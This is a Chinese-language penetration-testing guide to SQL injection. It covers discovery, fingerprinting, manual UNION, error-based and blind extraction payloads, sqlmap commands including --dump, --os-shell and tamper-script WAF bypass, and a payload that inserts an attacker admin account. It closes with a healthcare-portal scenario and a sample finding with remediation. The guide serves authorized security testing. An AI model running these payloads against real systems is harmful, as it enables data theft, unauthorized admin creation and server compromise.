Exploiting SQL Injection Vulnerabilities

利用 SQL 注入漏洞

使用场景

• 在授权渗透测试中，测试 Web 应用程序输入参数是否存在 SQL 注入漏洞
• 验证参数化查询和输入过滤是否在所有数据库交互中正确实施
• 通过提取敏感数据，演示已确认 SQL 注入漏洞的业务影响
• 验证 WAF 规则和输入验证控制是否能有效阻止 SQL 注入载荷
• 在企业应用程序中测试存储过程、动态 SQL 和 ORM 绕过场景

不适用场景：未经书面授权的数据库测试、提取或泄露超出概念验证所需的实际客户数据，以及针对可能损坏数据完整性的生产数据库进行利用。

前置条件

• 书面授权，指定目标应用程序和允许的利用级别（仅检测 vs. 完整利用）
• Burp Suite Professional 配置为拦截代理，以捕获和修改 HTTP 请求
• 安装了最新版本的 sqlmap，用于自动化检测和利用
• 了解目标数据库引擎（MySQL、PostgreSQL、MSSQL、Oracle）或能够对其进行指纹识别
• 不同权限级别的测试账户，用于在已认证上下文中测试注入

工作流程

步骤一：注入点发现

识别与数据库交互的参数：

• 映射所有输入向量：列举 URL（GET）、请求体（POST）、HTTP 标头（Cookie、Referer、User-Agent、X-Forwarded-For）和 JSON/XML API 载荷中的每个参数
• 基于错误的检测：向每个参数注入单引号（'）并观察响应。SQL 错误（如"You have an error in your SQL syntax"、"unterminated quoted string"、"ORA-01756"）确认该参数在未过滤的情况下到达数据库
• 基于布尔的检测：注入 ' AND 1=1--（真条件）和 ' AND 1=2--（假条件）。如果响应不同（内容长度不同、返回数据不同、HTTP 状态不同），则该参数可注入
• 基于时间的检测：注入 '; WAITFOR DELAY '0:0:5'--（MSSQL）、' AND SLEEP(5)--（MySQL）或 '; SELECT pg_sleep(5)--（PostgreSQL）。5 秒响应延迟确认注入
• 带外检测：使用触发 DNS 或 HTTP 请求到 Burp Collaborator 域的载荷，在无法直接观察响应的场景中确认注入
• 二阶注入：测试输入被存储后在不同 SQL 查询中使用的注入（例如，注册时存储的用户名，在个人资料页面的查询中使用）

步骤二：数据库指纹识别

确定数据库引擎和版本，以选择适当的利用技术：

• 基于错误的指纹识别：每个数据库产生独特的错误信息。MySQL 包含"MySQL"，MSSQL 提到"SQL Server"，PostgreSQL 引用"PG"，Oracle 包含"ORA-"
• 基于函数的指纹识别：注入数据库特定函数：
  • MySQL：' AND VERSION()-- 或 ' AND @@version--
  • MSSQL：' AND @@version-- 或 ' AND DB_NAME()--
  • PostgreSQL：' AND version()--
  • Oracle：' AND banner FROM v$version--
• 字符串连接差异：MySQL 使用 CONCAT('a','b') 或 'a' 'b'，MSSQL 使用 'a'+'b'，PostgreSQL 使用 'a'||'b'，Oracle 使用 'a'||'b'
• 注释语法：MySQL 支持 # 和 -- ，MSSQL 使用 -- ，PostgreSQL 使用 -- ，Oracle 使用 --

步骤三：手动利用技术

使用适合技术的方法利用已确认的注入点：

• 基于 UNION 的提取：通过递增 ORDER BY 确定列数（' ORDER BY 1--、' ORDER BY 2-- 等直到出现错误）。然后构造 UNION SELECT 提取数据：

  ' UNION SELECT NULL,username,password,NULL FROM users--
  

• 基于错误的提取（MySQL）：使用 EXTRACTVALUE 或 UPDATEXML 将数据强制放入错误消息：

  ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))--
  

• 布尔盲注提取：通过测试字符值逐字符提取数据：

  ' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
  

• 时间盲注提取：使用时间延迟的相同逐字符方法：

  ' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(5),0)--
  

• 堆叠查询（在支持的情况下）：执行附加 SQL 语句：

  '; INSERT INTO users(username,password,role) VALUES('attacker','password','admin')--
  

步骤四：使用 sqlmap 自动化利用

使用 sqlmap 高效利用已确认的注入点：

• 基本检测：sqlmap -u "https://target.com/page?id=1" --batch --random-agent 检测注入并识别数据库
• 提取数据库：sqlmap -u "https://target.com/page?id=1" --dbs 列出所有数据库
• 提取表：sqlmap -u "https://target.com/page?id=1" -D <database> --tables 列出表
• 提取数据：sqlmap -u "https://target.com/page?id=1" -D <database> -T users --dump --threads 5 提取表内容
• POST 参数：sqlmap -u "https://target.com/login" --data="username=test&password=test" -p username 测试 POST 参数
• Cookie 注入：sqlmap -u "https://target.com/page" --cookie="session=abc123; id=1*" --level 2 测试 Cookie 参数（用 * 标记可注入参数）
• OS 命令执行（如果数据库用户有足够权限）：sqlmap -u "https://target.com/page?id=1" --os-shell 尝试通过 xp_cmdshell（MSSQL）或 INTO OUTFILE（MySQL）执行命令
• Tamper 脚本：sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,between 绕过 WAF 过滤

步骤五：影响演示和报告

记录 SQL 注入漏洞的完整影响：

• 数据提取证据：捕获显示已提取数据库名称、表结构和示例记录的截图或 sqlmap 输出（在报告中编辑实际 PII）
• 认证绕过：用 admin' OR 1=1-- 演示登录绕过，并记录被绕过的认证机制
• 权限提升：如果数据库用户具有 DBA 权限，记录可用的额外功能（文件读/写、命令执行）
• 横向移动潜力：记录数据库服务器是否有网络访问其他内部系统的权限，这些系统可通过 SQLi 获得的 OS 级访问到达
• 修复建议：提供具体的代码级修复，显示易受攻击的查询和修正后的参数化版本

核心概念

工具与系统

• sqlmap：自动化 SQL 注入检测和利用工具，支持 30+ 个数据库管理系统的 6 种注入技术
• Burp Suite Professional：HTTP 代理，用于拦截、修改和重放带有 SQL 注入载荷的请求，支持所有参数类型
• Havij：基于 GUI 的 SQL 注入工具，在 sqlmap 不可用时用于快速自动化利用
• jSQL Injection：基于 Java 的 SQL 注入工具，带有支持自动注入、数据库提取和文件读/写的 GUI

常见场景

场景：医疗患者门户中的 SQL 注入

背景：一家医疗机构的患者门户允许患者查看其医疗记录、预约和账单信息。该应用程序使用 PHP 后端和 MySQL 数据库。测试人员拥有有效的患者账户。

方法：

1. 映射患者门户中的所有参数；发现预约详情页面使用 /appointment?id=4521
2. 向 id 参数注入单引号；收到 MySQL 错误，确认该参数可注入
3. 使用 ORDER BY 确定查询返回 7 列
4. 构造 UNION SELECT 从 information_schema 提取表名，发现表：patients、medical_records、billing、admin_users
5. 提取 admin_users 表，揭示 5 个具有 MD5 哈希密码的管理员账户
6. 演示通过注入点查询 medical_records 表可访问所有患者的医疗记录
7. 记录 15,000+ 条包含 PHI（受保护的健康信息）的患者记录可被访问，构成 HIPAA 违规

常见陷阱：

• 使用默认设置对生产数据库运行 sqlmap，导致过度负载或数据损坏
• 在评估过程中提取并存储实际患者数据，而非将证明限于记录数量和结构
• 未测试应用程序调用的存储过程中的二阶注入
• 仅测试 URL 参数，未测试所有参数类型（Cookie、标头、JSON 体）

输出格式

## 发现：预约详情参数中的 SQL 注入

**ID**: SQLI-001
**严重性**: 严重（CVSS 9.8）
**受影响 URL**: GET /appointment?id=4521
**参数**: id（GET 参数）
**数据库**: MySQL 8.0.32
**注入类型**: 基于错误、基于 UNION

**描述**:
预约详情页面直接将 'id' URL 参数拼接到 SQL 查询中，
未进行参数化或输入验证。这允许攻击者注入任意 SQL 语句，
并从数据库中的任何表提取数据。

**概念验证**:
请求：GET /appointment?id=4521' UNION SELECT 1,username,password,4,5,6,7 FROM admin_users-- -
响应：在页面内容中返回管理员用户名和 MD5 密码哈希。

**可访问数据**:
- patients 表：15,247 条记录（姓名、出生日期、SSN、地址、电话）
- medical_records 表：43,891 条记录（诊断、处方、实验室结果）
- admin_users 表：5 个账户及 MD5 哈希密码
- billing 表：28,563 条记录（保险详情、支付信息）

**修复建议**:
1. 用参数化查询替换字符串拼接：
   易受攻击：$query = "SELECT * FROM appointments WHERE id = " . $_GET['id'];
   安全版本：$stmt = $pdo->prepare("SELECT * FROM appointments WHERE id = ?");
             $stmt->execute([$_GET['id']]);
2. 实施输入验证，拒绝 id 参数的非整数值
3. 应用最小权限数据库权限（Web 应用程序用户只读权限）
4. 部署 WAF 规则检测和阻止 SQL 注入模式，作为纵深防御